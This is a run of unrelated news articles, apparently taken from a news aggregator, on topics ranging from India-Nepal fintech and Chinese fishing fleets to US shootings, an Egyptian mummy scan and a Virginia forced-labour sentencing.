2020" with the goal of having an economically prosperous digital society. This is being contributed by with priority of Nepal Rastra Bank for having an emphasis on digital financial services and celebrating this year 2022-23 as digital payment promotion year," Governor Adhikari said. Addressing the event Joint Secretary Ministry of Industry Commerce and Supplies Nepal, Babu Ram Gautam and assistant manager at Startup India Anubhav Kumar Das made a presentation on the Startup India Scheme. The Startup India scheme was launched on January 16, 2016, and has supported more than 4200 startups in India through its Seed Fund. CEO of Paynearby Anand Bajaj gave an overview of how the fintech sector in India has evolved with support from the government, regulators and industry. The first panel discussion focused on the opportunities in India-Nepal in the e-commerce and fintech sectors. The CEO of Sastodeal Amun Thapa spoke about their collaboration with Flipkart. The President, of F1 Soft, Biswas Dhakal talked about PonePay and eSewa payments services. The CEO of Tootle, Sixit Bhatta, demonstrated how e-commerce, logistics, and digital payments work together. Akshay Chaturvedi from LeverageEdu, an Indian Edtech company, explained their expansion to Nepal's market. The second-panel discussion focused on funding opportunities for Nepali startups, in which CEO of Team Ventures Tenzin Gonsar, gave an overview of the Nepali funding ecosystem., Head of Projects & Startups, Internet and Mobile Association of India, Sandeep Jhingran elaborated on their incubation program Mobile 10X. CEO of Hyderabad Angels, Rathnakar Samavedam who joined the session virtually, shared the unique Public Private Partnership model of THub. He identified similarities between Telangana and Nepal's startup ecosystems. Learnings from the Startup India scheme including the Seed Fund model for incubators were also shared at the event. (ANI)
It is time for Pakistan's military, bureaucratic, political, business, and all others to turn the page on a broken, dysfunctional, and failed status quo and it must acknowledge India's incredible coming of age as a country, writes Mosharraf Zaidi in The News International. In 1999, when General Musharraf sprung the Kargil misadventure on the Pakistani people, India had a GDP of just over USD 450 billion, but now it is at USD 3.18 trillion, said Zaidi. India's ability to sit at the global table is in a different league - nay, a different universe - then it was in 1999. India has put on what I like to call 'big boy pants,' said Zaidi. While Pakistan is nearly one-tenth of India's size in terms of its economy and its GDP is around USD 350 billion only. The delusion of economic parity, if it ever existed, is beginning to corrode, while the economic growth story of India has only just begun, said Zaidi. By 2030, or in less than seven years, Morgan Stanley forecasts India's overall GDP to grow from its current USD 3.18 trillion to nearly USD 8 trillion. India currently accounts for 2.2 per cent of global exports. Morgan Stanley expects this to rise to 4.5 per cent of global exports in 2030. The retail market in India is expected to more than double over these next seven years to over USD 1.8 trillion. Perhaps most importantly, per capita GDP is expected to increase from USD 2,278 per year, to USD 5,242 per year. The percentage of Indian households with an annual income above USD 35,000 per year is expected to rocket up from 5.6 per cent to over 25 per cent of all Indian households. That means that one in every four Indian households will be a global middle-class home, reported The News International. Most will have highly literate individuals driving that household income. Most will be consumers of luxury goods. The Indian celebrity will be the highest paid on the planet because the upper-middle-class Indian will be the single most sought-after consumer on the planet. From being a country full of poor people, India is on its way to becoming a country with a lot of rich people, levelling up their entire economy in 2030. The substantially larger economic entity that India will be in 2030 is fuelled by India's society, polity and economy today, said Zaidi. India's greatness as a nation is being actualized at a time, under its leadership took decisions that are being rewarded with the grandest prizes. Of these rewards, the most powerful is the transformation of India from a poor country full of poor people to a rich country with an ever-increasing number of rich people, reported The News International. And this is what explains - from Abu Dhabi to Tokyo, and from Washington DC to Canberra - the red carpet that is laid out for Prime Minister Narendra Modi almost everywhere he goes. Meanwhile, internal disquiet in Pakistan, including the unsustainable and unconstitutional interference of the military in civilian affairs, the incompetence of its policy elites, and its dysfunctional economic affairs, all merit a serious set of transformational reforms, said Zaidi. Pakistan's vulnerability to terrorism and the tendency of Pakistanis in high offices towards strategic stupidity (eg, Kargil, the desperation of the Bajwa Doctrine) have weakened Pakistan, but they have not altered the baseline of national security for Pakistan. (ANI)
Chinese distant water fishing fleet (DWF) is deployed across every ocean. It is often found guilty of violating the domestic laws of the respective countries and the United Nations Convention on the Law of the Sea (UNCLOS), reported Investigative Journalism Reportika (IJR). It also indulges in targeting endangered species, falsifying licenses & documentation, espionage & reconnaissance activities, seizing territories, generating a lot of sea waste, and violating EEZs of other nations. Captains of Chinese DWF ships disable their transponders while engaging in illicit fishing to avoid being watched in sensitive areas. It has been observed that the automatic identification systems (AIS) aboard these ships suffer transmission pauses of at least eight hours near the EEZ of other countries. "Chinese ships disable their transponders close to EEZ of other countries to avoid being detected by the #AIS system; a practice called "marine radar evasion," tweeted Tibet Rights Collective. From 2019 to 2021, China fished in Exclusive Economic Zones (EEZs) of over 80 other countries for more than 3 million hours and spent nearly 10 million hours outside its own EEZ in the high-seas and the EEZs of other nations. China is the world's largest producer of aquaculture and captures fisheries. According to the United Nations, China consumes around 36 per cent of total global fish production and hauls in 15.2 million tonnes of marine life annually, a massive 20 per cent of the world's annual catch, reported IJR. According to the Food and Agriculture Organization (FAO), China ranked top of the top ten global capture producers in 2020 from Marine sources. Having depleted fish stocks in domestic waters, including the South China Sea, the fleets of China are now traveling further afield to meet the rising demand for seafood. Beijing says its distant water fishing fleet numbers 2,500 ships, but multiple studies claim that it is more than 18,000 boats in the world's oceans, reported IJR. Just off the South China Sea, countries in Oceania are seriously concerned about Chinese fishing activities, which increased proportionally with PRC's investments in infrastructures like ports, and airports. Between 2018 and 2019, Papua New Guinea, New Zealand, Salomon Islands, Vanuatu, Tonga, Fiji, Cook Islands, and Samoa joined the Belt and Road Initiative (BRI). In 2020, Palau intercepted and detained Chinese DWF boats illegally fishing sea cucumber in its territorial waters. Australia, New Zealand, and Hawaii (under the USA) are the most developed countries in the region, and the presence of Chinese Trawlers in South Australia, Chinese Squid jiggers in New Zealand, and Long liners in Hawaii are a serious threat to their sovereignty, reported IJR. (ANI)
On the International Day of Education, United Nations Secretary-General Antonio Guterres on Tuesday called on the Taliban in Afghanistan to reverse the ban on girls' access to secondary and higher education. Calling education a fundamental right, Guterres said that now is the time for all nations to ensure taking actual steps to develop welcoming and inclusive learning environments for all. "Now is also the time to end all discriminatory laws and practices that hinder access to education. I call on the de facto authorities in Afghanistan in particular to reverse the outrageous and self-defeating ban on access to secondary and higher education for girls," the official spokesperson of the UN Secretary-General said in a release. Taking to Twitter, Guterres also tweeted and said, "Now is the time to end all discriminatory laws and practices that hinder access to education." The theme of this year's International Day of Education reminds us "to invest in people, prioritize education," the official release of the UN added. The United Nations Educational, Scientific and Cultural Organization (UNESCO) decided to dedicate the International Day of Education 2023 to Afghan girls and women, TOLOnews quoted director-general of UNESCO, Audrey Azoulay as saying. According to UNESCO, currently, around 80 per cent of school-aged Afghan girls and young women are out of school under the Taliban rule, as they denied them access to secondary schools and universities. After the Taliban ordered an indefinite ban on university education for Afghan girls, several humanitarian organizations, including Education Cannot Wait (ECW), a United Nations global, billion-dollar fund for education in emergencies and protracted crises called on the Taliban authorities in Kabul to revoke their decision to suspend the university education of Afghan women. The ECW called on the interim Taliban government to allow all girls to return to education, saying that the UN-led humanitarian body stands in solidarity with women in Afghanistan and added that each one has an inherent human right to education. OCHA announced on Tuesday that now 1.1 million Afghan girls are banned from secondary school and more than 100,000 others are banned from universities. Furthermore, US mission charge d'affaires, Karen Decker tweeted, "It is difficult to commemorate the International Day of Education today knowing Afghan women & girls are now denied this right. Education is an investment in Afghanistan's future and must be available to boys and girls." On December 24, the de facto authorities issued a decree banning women from working in NGOs, TOLOnews reported. This came after they had already suspended university education for women and secondary schooling for girls until what they termed further notice. Since 15 August 2021, the Taliban have barred girls from attending secondary school, restricted women and girls' freedom of movement, excluded women from most areas of the workforce and banned women from using parks, gyms and public bath houses. These restrictions culminate with the confinement of Afghan women and girls to the four walls of their homes. (ANI)
A woman sitting on a hospital bed Getty Images

A 12-year-old girl had a 3-pound tumor removed along with her entire left ovary.

She was initially misdiagnosed as having hormonal imbalances from her pituitary gland.

Instead it was a rare type of ovarian cancer that can also affect hormones.









A 12-year-old girl needed her entire left ovary removed due to a tumor that was growing inside it, causing hormonal effects including a disrupted menstrual cycle and lactation.

After getting her first period at age 10, the girl did not have a regular cycle for the next two years. Some menstrual irregularity can be normal, especially in young girls, but the girl started complaining of frequent abdominal pain as well.

The 12-year-old was also leaking a milky discharge from both breasts, which led her doctor to test her hormones. The results confirmed that the girl was not pregnant. However, her prolactin levels  the hormone that triggers milk production  were off the charts.

Doctors initially diagnosed her with a hormonal imbalance originating from the pituitary gland, which is located at the base of the brain. A hyperactive pituitary gland can cause a host of hormonal problems, including irregular periods and unexpected breast milk production.

But because of the girl's worsening abdominal pain, her doctors decided to perform an ultrasound, which revealed a mass in her lower abdomen. In exploratory surgery, they found her left ovary had been completely taken over by a 3-pound tumor. Her case was recently described in the American Journal of Case Reports.

The patient was diagnosed with a rare juvenile form of ovarian cancer

The patient was diagnosed with a rare form of ovarian cancer called a juvenile-type granulosa cell tumor (JGCT), according to the case report. The doctors removed the 3-pound mass along with her left ovary, and she was discharged from the hospital after 4 days.

Granulosa cell tumors account for 58% of all ovarian tumors, and only 5% of diagnosed GCTs affect juveniles, according to the case report.

Story continues

This type of tumor grows from the ovarian tissue that releases the hormones estrogen and inhibin, so it can cause puberty to come early or stop once it's started. Patients as young as 4 years old have developed breasts and pubic hairs due to JGCT, according to a case described in the South Asian Journal of Cancer.

Once the tumor is removed, normal development can resume. In another case described in 2014, a young female patient got her period once and then not again for the next four years. She had a JGCT removed, and her cycle resumed 10 days after surgery.

Researchers warn that doctors should be on the lookout for ovarian tumors in young girls

The authors of the case report wrote that it is uncommon, but not out of the question, for a patient to be diagnosed with JGCT without any signs of early puberty.

Normally, doctors will look to rule out growths on the ovaries and disorders of the pituitary gland if a girl grows breasts or gets her period before age 8, which is considered early by clinical standards. This case shows how subtler symptoms, like the lack of a regular period combined with hormonal imbalances and abdominal pain, can also signal that something is wrong.

The authors of the case study said that medical professionals should consider screening more young girls with a similar constellation of symptoms for ovarian tumors, even if the disease is rare. If it's diagnosed early, JGCT has a high 5-year survival rate of 90-95%  but an undiagnosed tumor can have long-term consequences for a child's development.

Read the original article on Insider
A CT scan allowed scientists to digitally dissect this mummy while keeping it intact. Sahar Saleem

Photos show the inside of a young teen's mummy from 2,300 years ago.

The child, nicknamed the "golden boy," was mummified with 49 protective amulets.

The rare discovery sheds light on how embalmers used amulets to protect the dead in the afterlife.

A teen boy whose mummy had been stored in a museum since 1916 was covered in precious amulets, a study published Tuesday found.

A team of scientists has digitally unwrapped the 2,300-year-old mummy using a CT scanner to uncover its secrets.

The team found that the so-called "golden boy" was lavishly mummified with gold and semi-precious stones. Forty-nine protective amulets were precisely placed in three columns on his body, suggesting he was rich and of high status.

The mummy's cartonage is colorful. Sahar Saleem

The finding is "definitely extraordinary" as high-ranking mummies were often pillaged for their precious ornaments, Sahar Saleem, study author and a professor of radiology at the faculty of medicine at Cairo University, told Insider in an email.

Because this mummy has not been disturbed, it provides a unique insight into how embalmers would carefully place the amulets on the body to protect the dead, she said.

Amulets to protect the dead

An image from the CT scan shows a 3D rendering of the mummy. Amulets of varying shapes and sizes, represented by white shapes, are placed on the boy's partially skelotonized body. Sahar Saleem

"Ancient Egyptians believed in the power of amulets, which depended on its material, color, and shape," said Saleem.

"During mummification, the embalmers said prayers and recited verses from the 'Book of the Dead' while placing amulets inside the mummy or in between the wrappings," she said.

Each amulet had a specific meaning to protect the boy, who was about 14 or 15 years old when he died.

A scarab amulet for the heart, and a gold tongue for speech

A scarab-shaped amulet near the boy's heart, engraved with verses from the Book of the Dead, would have helped him be judged kindly in the afterlife, Saleem said.

A scarab amulet is spotted inside the boy's chest. Sahar Saleem

"The heart scarab was mentioned in Chapter 30 of the Book of the Dead; it was very important in the afterlife during judging the deceased and weighing of the heart against the feather of Maat," the goddess of truth, justice, balance, and most order, Saleem said.

Story continues

"The heart scarab silenced the heart in the Judgement day so not to bear witness against the deceased," she added.

A golden tongue-shaped leaf was also placed in the boy's mouth. This ensured the boy could speak with the gods after death.

A curved arrow shows the location of a dense golden amulet placed in the boy's mouth. The straight arrow shows the boy's eye sockets were packet with linen. Sahar Saleem

Another notable amulet was placed near the boy's penis. The "Two-finger" amulet is meant to bring protection to the incision they made on the torso, Saleem said.

The other amulets had other varied protective roles. A "flask" amulet represented carrying holy water in the afterlife. A "Djed" amulet, representing the backbone of god Osiris, ensured the safe revival of the deceased. A "right angle" amulet brought balance and leveling to the deceased.

A picture shows the mummy is wearing a guilded gold mask and wrapped tightly. Ferns were placed on his chest. Sahar Saleem

These findings are "exciting," Wojciech Ejsmond, an Egyptologist from the Warsaw Mummy Project who was not involved in the study, told Insider in an email.

"This study is providing valuable information on how ancient Egyptians lived, died, and what they thought will happen next," he said.

Sandals made for walking

The mummy was wearing sandals. Sahar Saleem

The boy was also found to be wearing white sandals in his grave. Per the Book of the Dead, the deceased had to wear white sandals and be pious and clean before reciting its verses.

"The sandals were probably meant to enable the boy to walk out of the coffin," Saleem said in a press release.

"Golden sandals were also found in the royal tombs; e.g. Thutmose III," Saleem told Insider.

This may indicate that while the boy was high-ranking, he may not have been royal.

An insight into ancient Egyptian circumcision

Another unexpected finding is to do with the boy's penis. Saleem said the scan suggests the boy was not circumcised. That's unlike another high-ranking figure, King Amenhotep I, whom Saleem studied as well.

This may indicate that ancient Egyptians were only circumcised in adulthood, Saleem said.

But Salima Ikram, head of Egyptology at the American University in Cairo, has another theory.

"The lack of circumcision is interesting as it might tell us something about his ethnicity  Egyptians tended to be circumcised generally before the age of 13," she told The Guardian.

"It might suggest that foreigners adopted Egyptian burial practices  and we know the Persians did," she said.

She cautioned, however: "I wouldn't hang all of this on one fragile foreskin."

Who was this boy?

The mummy inside its sarcophagus. Sahar Saleem

The boy may yield more secrets still.

According to the Cairo Egyptian Museum records, he was first uncovered in 1916 in a cemetery used from BC 332 to BC 30 in Nag el-Hassay, Southern Egypt.

The boy would have been "the eyewitness of the dusk of the ancient Egyptian civilization, possibly the turmoils during the time of the last Ptolemaic kings, and perhaps even a short revival of Egypt's greatness during Cleopatra's reign," Ejsmond said.

His name is, as of now, unknown. But scientists are studying his sarcophagus closely to find more clues as to who he was, Saleem said.

The results were published in the peer-reviewed journal Frontiers in Medicine on Tuesday.

Read the original article on Business Insider
The Telegraph

The precise veracity of the large cache of intelligence documents that have apparently been leaked from the Pentagon might be open to question, but there can be little doubt about the negative impact that they are having on Ukraines war effort. Even if the release of the documents turns out to be part of a clever disinformation campaign by the Kremlins cyber-trolls, it could nevertheless prompt Ukraines high command to rethink its long-planned counteroffensive against Russian forces.
Expand Autoplay Image 1 of 10 People gather in an overflow auditorium during the DuPage County Board meeting on Jan. 24, 2023, in Wheaton as both sides are debated after Sheriff James Mendrick said he will not enforce the states new assault weapons ban. (Mark Black/for the Chicago Tribune)

People pack the DuPage County Board meeting to give public comments on both sides after Sheriff James Mendricks said he will not enforce the states new assault weapons ban.
Two students were killed and an employee was seriously injured in a shooting at Starts Right Here, an educational mentorship program in downtown Des Moines.

Here's what we know so far.

Where did the shooting happen?

It was reported just before 1 p.m. Monday at Starts Right Here, located at 455 S.W. Fifth St. in an office park on the southern edge of downtown Des Moines.

More:2 students dead, nonprofit founder Will Keeps in serious condition in Des Moines shooting

What did police see when they got there?

Police found the two students aged 16 and 18 in very critical condition. Officers performed CPR until medical personnel could transport them to the hospital, where they died.

The CEO and founder of Starts Right Here, Will Holmes, who goes by Will Keeps, was seriously injured and was to undergo surgery Monday.

More:Starts Right Here board: We will not let shooting stop what 'we are called to do'

Witnesses to the shootings gave officers a description of a vehicle. Police were able to track it down and stop it about 2 miles south of Starts Right Here near MacRae Park. Police spokesperson Sgt. Paul Parizek said one person fled from the vehicle and was tracked down by a K-9 officer. He said two others remained in the car and that all three were taken into custody.

Des Moines police investigate a multiple-injury shooting at Starts Right Here, 455 S.W. Fifth St., a nonprofit educational mentorship program that helps at-risk metro Des Moines youth, Monday, Jan. 23, 2023.

Who were the students who died?

Police released the identities of the victims Tuesday afternoon: 18-year-old Des Moines resident Gionni Dameron and 16-year-old Des Moines resident Rashad Carr.

More:Victims identified in Des Moines shooting at Starts Right Here

Starts Right Here founder Will Keeps injured

Will Holmes, who is known by his stage name Will Keeps, was seriously injured and remained hospitalized in serious, but stable condition as of Tuesday, according to a statement on behalf of his family.

More:What we know about injured founder Will Keeps and Starts Right Here, where shooting killed 2

Who were the shooters?

Late Monday, police charged 18-year-old West Des Moines resident Preston Walls with two counts of first-degree murder, attempted murder and criminal gang participation.

Story continues

Parizek said in a news release that Walls was allegedly armed with a 9mm handgun with an extended ammunition magazine at Starts Right Here. Holmes attempted to escort him out of the building when Walls allegedly started shooting at the teenagers.

"Walls, and both deceased victims, are known gang members, belonging to opposing gangs, and evidence indicates that that these crimes were committed as a result of an ongoing gang dispute," Parizek said in the release.

Along with Walls, two others were taken into custody about 20 minutes after the shooting. Parizek said the other two were released without charges in a release Tuesday morning.

More:Gov. Reynolds, Des Moines police chief laud 'Starts Right Here,' a planned service center for at-risk youth

What is Starts Right Here?

Founded by local rapper and activist Will Holmes, Starts Right Here helps re-engage students in the Des Moines school district's Options Academy credit recovery program, the district said in a news release. It said the group supports students no longer in a school building due to behavioral issues.

The program was started as a partnership with Des Moines Public Schools in 2021.

Is Starts Right Here a Des Moines charter school?

Starts Right Here is not a charter school, but the founder was a proponent of expanding Iowa's charter school law in 2021. Gov. Kim Reynolds signed the charter school law in May 2021 at Starts Right Here.

In July 2021, Holmes told the Register he was considering starting a charter school for at-risk youth.

More:What people are saying about the Des Moines shooting that killed 2 students

Was this a mass shooting?

There's no single consensus on the definition but most organizations would not consider the Des Moines shooting a mass shooting.

The Gun Violence Archive, a nonprofit research group, defines a mass shooting as an incident in which four or more people are shot or killed, not including the shooter.

In contrast, Everytown currently defines it as a shooting in which four or more people are shot and killed, again excluding the shooter.

The Federal Bureau of Investigation doesn't have a mass shooting definition. Instead, the FBI defines "mass murder" as an incident where four or more people are killed, which can include gun violence.

USA Today contributed to this report.

This article originally appeared on Des Moines Register: Des Moines shooting: What we know about victims, shooter and more
Columbus police were searching for 15-year-old Armando Flores in connection with a fatal shooting Monday night at the Crazee Mule bar on the city's Northeast Side bar.

Columbus police were looking for a 25-year-old man accused of fatally shooting a man during a fight at a Northeast Side bar.

Armando Flores, of the Northeast Side, has been charged with murder in connection with the death Monday night of 51-year-old Rudy Tirado-Gonzalez, of the Far West Side.

Homicide database:Here's where homicides have occurred in Columbus since 2017

Columbus police were called around 11 p.m. Monday to the Crazee Mule Pub and Grill, located at 6188 Cleveland Ave. in a strip mall, on a report of a shooting. Officers found Tirado-Gonzalez with multiple gunshot wounds.

A Google map shows the location of Crazee Mule Pub and Grill on Cleveland Avenue in Northeast Columbus.

An initial investigation found the shooting took place during a fight inside the bar. An affidavit filed in Franklin County Municipal Court said security video from the bar showed Tirado-Gonzalez arguing with Flores before Flores pulled out a firearm and fired multiple rounds.

Tirado-Gonzalez was taken to OhioHealth Riverside Methodist hospital, but he died from his injuries.

Flores remained at large as of early Tuesday afternoon.

It's the latest deadly bar fight in the Columbus area this month.

Charles Foster, 24, of the Hilltop, was arrested Wednesday in connection with the New Year's Day shooting at a Mifflin Township gentleman's club that resulted in the death of 28-year-old Charles Westbrook and the wounding of four other people.

Anyone with information on Flores' whereabouts or with information on the shooting is asked to call detectives at 614-645-4730 or Central Ohio Crime Stoppers at 614-461-TIPS.

bbruner@dispatch.com

@bethany_bruner

This article originally appeared on The Columbus Dispatch: 25-year-old wanted in connection with shooting at Northeast Side bar
Ridofranz / iStock.com

Managing money abroad involves more than just keeping track of different currencies and exchange rates. The simple act of sending or receiving money electronically isnt so simple across international borders. In the U.S., bank accounts are identified by routing and account numbers. In Europe, they use international bank account numbers (IBANs), but different IBANs have different prefixes  FR in France, DE in Germany, IT in Italy, etc. Australia, on the other hand, uses BSB codes.

See the List: GOBankingRates Best Banks of 2023

Tips: How To Stay Safe When Using Mobile Banking Apps

Find Out: Do You Have Too Much Money in Your Checking Account?

If youre planning on living, studying or even just traveling abroad on vacation, make sure you have a money-management plan beyond just the cash in your fanny pack. The following is a look at the top apps for sending and receiving money, making payments and converting cash securely and safely while outside of your home country.

Dont wait until youre overseas to plan for how youll handle your finances once you get there.

Wise

Formerly TransferWise, Wise is known for fast and inexpensive transactions to and from just about anywhere  its available in 170 countries and supports 50 currencies.

In a test transfer of $1,000, Wise is cheaper than banks like Chase and Wells Fargo, wire services like WesternUnion and OFX, and payment facilitators like PayPal. Thats because it uses the real mid-market exchange rate for every transaction. There are no maximums or minimums for transfers and Wise charges just one transparent fee.

Around 400,000 businesses rely on Wise, and travelers, students and expats use it to move money across borders for everything from sending money to friends to paying mortgages in other countries.

Remitly

Wises own $1,000 test transfer showed that Remitly was the least expensive out of all the major international money transfer services  including Wise itself. Remitly supports more than 75 currencies and has no hidden fees.

Story continues

You can send and receive money in more than 145 countries, including 40 African countries, Mexico, India and the Philippines.

It stands out for its many delivery options for people on the receiving end  you can get your cash as a bank deposit, mobile transfer to your phone, a cash pickup from thousands of locations and even delivery to the recipients home.

Take Our Poll: How Big of a Sign-Up Bonus Would It Take for You To Change Banks?

PayPal

PayPal is one of the oldest, most popular and most trusted names in payment facilitation, but familiarity is only one reason that international users flock to it. You can send money through PayPal in nearly every country on Earth  more than 200 in total.

The downside is that the pricing and fees can be vague and confusing, but PayPals menu of services is tough to match. International users can send and request money, donate and raise funds, deposit checks, sell things and pay with QR codes  PayPal even lets you buy, sell and checkout with cryptocurrency.

MoneyGram

Like PayPal, MoneyGram is available in more than 200 countries.

Also like PayPal, it has a well-established history in the industry  but in that category, the two arent even in the same ballpark. PayPal was founded during the Wild West days of the early internet in the late 1990s. MoneyGram, on the other hand, has more than 80 years of history dating back to the Travelers Express days around the time of World War II.

The app is available for iOS and Android, and online money transfers, in-person transfers or both are available outside of the many countries where the app is supported.

OFX

Like every service on the list, OFX can beat the rate your bank is likely to offer you for international transfers. The app supports more than 50 currencies in over 190 countries, and OFX offers unrivaled security. As a listed entity on the Australian Stock Exchange, its monitored by more than 50 regulatory bodies across the world.

The app lets you check rates before you send money and monitor transfers once theyre in progress. OFX also offers advanced features like fixing FX rates 12 months in advance for future transfers. You can register in less than five minutes and OFX gets high marks for its customer service. You can talk to a real, live person 24/7, unlike the many other services that require you to navigate time zone differences to get a representative on the phone.

More From GOBankingRates

This article originally appeared on GOBankingRates.com: 5 Best Apps for International Banking Needs
Nadia Ferreira is beauty, grace, and she's soon to be the next Mrs. Marc Anthony.

Since the day she graced the stage at the Miss Universe pageant in 2021, representing Paraguay, the model has been turning heads with her stunning beauty, as well as her relationship with the "Vivir mi vida" vocalist.

Below we've gathered everything you need to know about Ferreira prior to her nuptials.

Photo by Gary Gershoff/Getty Images Nadia Ferreira attends the 9th Annual Maestro Cares Foundation Gala at Cipriani Wall Street.

Ferreira is a member of the United Nations Development Programme

As an advocate for sustainable development, Ferreira has been raising awareness on the topic as a member of the UN Development Programme. As part of her advocacy, she has worked on sustainable fashion through her family's clothing and accessory line.

She Met Marc Anthony in 2016

Before they were a couple, Ferreira attended one of Anthony's concerts in Paraguay when she was 16 years old. They took a picture together, not knowing they would be getting married seven years later. They announced their engagement in 2022.

Photo by CHRIS DELMAS/AFP via Getty Images Nadia Ferreira and Marc Anthony.

She was the first runner-up at the Miss Universe Pageant in 2021

The 23-year-old activist represented Paraguay at the 70th Miss Universe pageant, earning the spot of first runner-up at the incredibly competitive beauty pageant.

She Speaks Four Languages

As a polyglot, she speaks Spanish, English, Portuguese, and Guarani.

Nadia Ferreira at Miss Universe

The Paraguayan model was born with Congenital Torticollis

The international model was born with congenital torticollis, a condition where the neck muscles tighten and rely on one side. She had her first surgery at eight months old and lost her sight, hearing, and mobility partially at the age of 10.

She will be Marc Anthony's fourth wife

Tying the knot on January 28, Ferreira will become the fourth person to marry the Boricua musician. He was previously married to former Miss Universe Dayanara Torres, Jennifer Lopez, and model Shannon de Lima. The singer is also a father to six children.
Seven people were killed and one was injured in two related shootings in Half Moon Bay, Calif., on Monday, police said.

Authorities said the victims were found at a farm and another agricultural location several miles away.

Police arrested a suspect in the shootings, 67-year-old Chunli Zhao, after he was found in his car in the parking lot of the Sheriffs Office Half Moon Bay Police Substation, according to the San Mateo County sheriffs office. Zhao is believed to have acted on his own.

This is a devastating tragedy for this community and the many families touched by this unspeakable act of violence, San Mateo County Sheriff Christina Corpus said at a press conference.

Corpus added that investigators believe Zhao worked at one of the facilities, as did the victims.

The one injured victim was transported to Stanford Medical Hospital with life threatening injuries, police added.

The shootings come just two days after 11 people were killed in a shooting in Monterey Park, Calif., following a Lunar New Year celebration. The suspect in Saturday nights shooting was found dead by a self-inflicted gunshot wound on Sunday.

Jill and I are praying for those killed and injured in the latest tragic shooting in Half Moon Bay, California, President Biden said in a statement released by the White House early Tuesday. For the second time in recent days, California communities are mourning the loss of loved ones in a senseless act of gun violence.

Biden added that he has directed his administration to ensure local authorities and the broader Half Moon Bay community have the full support of the federal government in the wake of this heinous attack.

At the hospital meeting with victims of a mass shooting when I get pulled away to be briefed about another shooting. This time in Half Moon Bay, California Gov. Gavin Newsom said in a tweet on Monday. Tragedy upon tragedy.

Updated at 7:52 a.m.

For the latest news, weather, sports, and streaming video, head to The Hill.
Abigail Kinoiki Kekaulike KawAnanakoa, who was considered the last Hawaiian princess, died last month at the age of 96.

KawAnanakoa was one of the last members of the royal house of KawAnanakoa, who once ruled the islands. Although she didnt have an official title, she was a living reminder of Hawaiis monarchy.

In December, her wife, Veronica Gail KawAnanakoa, issued a press release to announce her death.

Abigail will be remembered for her love of Hawaii and its people, the 69-year-old said in a statement, via Associated Press. And I will miss her with all of my heart.

The casket bearing the heiress went on public display at EIolani Palace, in downtown Honolulu. KawAnanakoa was the palaces largest single benefactor and even paid its electricity bills for many years, according to her publicists.

From her family history to her unofficial title, heres who KawAnanakoa was and whats going to happen in the wake of her death.

Who was Abigail Kinoiki Kekaulike KawAnanakoa?

KawAnanakoa became a symbol of the Hawaiian nations identity after the kingdom was overthrown by American businessmen in 1893, including her great-grandfather, James Campbell. He notably made his fortune as a sugar plantation owner and was one of Hawaiis largest landowners.

Campbells daughter, Abigail Campbell KawAnanakoa, went on to marry Prince David KawAnanakoa, who was named an heir to the throne.

The Prince and his wife went on to have a daughter, Lydia Liliuokalani KawAnanakoa, who is KawAnanakoas biological mother. After the Prince died, KawAnanakoa was adopted by her grandmother, which strengthened her claim to a princess title.

She inherited almost $215 million from the family trust, per Associated Press, and donated a sum of that to help restore the Iolani Palace, which now serves as a museum for the public.

KawAnanakoa also funded various causes, including scholarships for Native Hawaiian students, opposition to Honolulus rail transit project and protests against a giant telescope.

Story continues

She married her longtime partner Veronica in 2017. One year later, she made headlines for changing her trust fund to ensure that her wife would receive $40 million and all her personal property, according to court records. A judge ruled in 2020 that she wasnt fit to manage her affairs, as her property was being inappropriately wasted and dissipated.

Was she a royal?

Although she was the Princes widows adopted daughter, she did not have a title, so shes technically not considered royal.

During an interview with Honolulu Magazine in 2021, she said that her monarchs line of succession would have made her cousin Edward KawAnanakoa ruler and not her since he was the eldest child of King KalAkauas oldest sibling.

So it would have gone directly to Edward. Of course I would be the power behind the throne, theres no question about that, she joked.

What happens now that KawAnanakoa has passed?

Since KawAnanakoa was not an official royal and her familys monarchy had not survived, nothing has changed in regards to Hawaiis leadership.

Hawaiis governor Josh Green shared a tribute to her on Facebook after her death. In the post, he expressed his gratitude for all shes done to help Hawaiis community and referred to her as Princess Abigail KawAnanakoa.

Abigail bore the weight of her position with dignity and humility, enriched the lives of everyone she touched, and like so many AliEi who came before her, she has left a legacy dedicated to her people in perpetuity, he wrote at the time.

He also ordered that the United States flag and the Hawaii state flag be flown at half-staff until sunset on 18 December 2022.

Along with the public viewing of her casket on Sunday, a private funeral service is scheduled for Monday at Mauna EAla, also known as Royal Mausoleum State Monument.
A woman was forced to work for her husbands family  acting as a servant inside their home during 12 years of extreme abuse, federal prosecutors said.

Now the three family members accused of abusing her, and encouraging the womans children to participate in the abuse as she was forced to work in the Virginia home, are going to prison, according to prosecutors and court documents.

A judge sentenced the womans mother-in-law and family matriarch Zahida Aman, 80, of Midlothian, to 12 years in prison on Jan. 23 in connection with the forced labor, the U.S. Attorneys Office for the Eastern District of Virginia announced in a Jan. 24 news release.

Immediately after the woman married her husband and moved to the U.S. from Pakistan, Aman told her if you want to be happy in your married life, the way to your husbands heart is through me  and if you want him happy, you have to make me happy, court documents show.

Amans two sons, the brothers of the womans husband, were also sentenced in the case on Jan. 23, according to prosecutors. Mohammed Rehan Chaudhri, 48, was sentenced to 10 years in prison and Mohammad Nauman Chaudhri, 55, was sentenced to 5 years in prison, officials said.

The three family members exploited the victims trust and inflicted cruel and inhumane physical and mental abuse on her, all so they could keep her working in their home as their domestic servant, Assistant Attorney General Kristen Clarke said in a statement in May when the trios convictions were announced.

Attorneys separately representing Aman and Rehan Chaudhri denied a request for comment from McClatchy News on Jan. 24.

Craig Sampson, an attorney representing Nauman Chaudhri, told McClatchy News in a statement on Jan. 24 that his client is not evil.

This case was complicated and featured many issues and circumstances that commonly present themselves in difficult divorce cases, Sampson said and added that his client has the love and support of many friends and colleagues.

Story continues

The woman lived in a climate of fear

In 2001, the womans marriage to her husband was arranged by Aman, who prosecutors said gave the woman an engagement ring, court documents show. By 2002, the couple were married following a year-long engagement.

After the wedding, and after the woman moved from Pakistan to her husbands familys home in Midlothian, Aman asserted her role as the leader and organizer of the family, a sentencing memo says.

Aman took away the womans personal items, jewelry and immigration papers and started ordering her to perform house work, according to the sentencing memo.

For the next 12 years, the woman was physically and emotionally abused by Aman and her two sons in the home while living in a climate of fear, prosecutors said.

During this period, the womans husband left the home to practice medicine in Pennsylvania in 2006 before moving to California to do the same in 2008, according to a superseding indictment.

To keep the woman working in the home, Aman and her two sons slapped, kicked, and pushed the victim, even beat her with a wooden board, and, on one occasion, hog-tied her hands and feet and dragged her down the stairs in front of her children, prosecutors said.

Additionally, the trio alienated the woman from her children, who she shared with her husband, and had some of them take part in the abuse, according to the superseding indictment.

